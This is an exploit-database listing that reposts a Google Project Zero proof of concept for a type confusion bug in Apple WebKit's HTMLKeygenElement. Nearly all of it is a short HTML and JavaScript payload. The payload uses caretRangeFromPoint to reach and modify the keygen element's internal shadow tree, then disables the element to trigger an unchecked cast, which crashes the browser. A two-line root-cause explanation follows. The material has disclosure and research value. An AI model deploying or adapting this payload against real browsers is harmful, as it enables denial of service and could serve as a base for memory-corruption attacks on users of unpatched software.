Apple WebKit - HTMLKeygenElement Type Confusion Exploit

2017-02-01T00:00:00
ID 1337DAY-ID-26868
Type zdt
Reporter Google Security Research
Modified 2017-02-01T00:00:00

Description

Exploit for multiple platform in category dos / poc

                                        
                                            <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->
 
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
 
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->

#  0day.today [2018-01-05]  #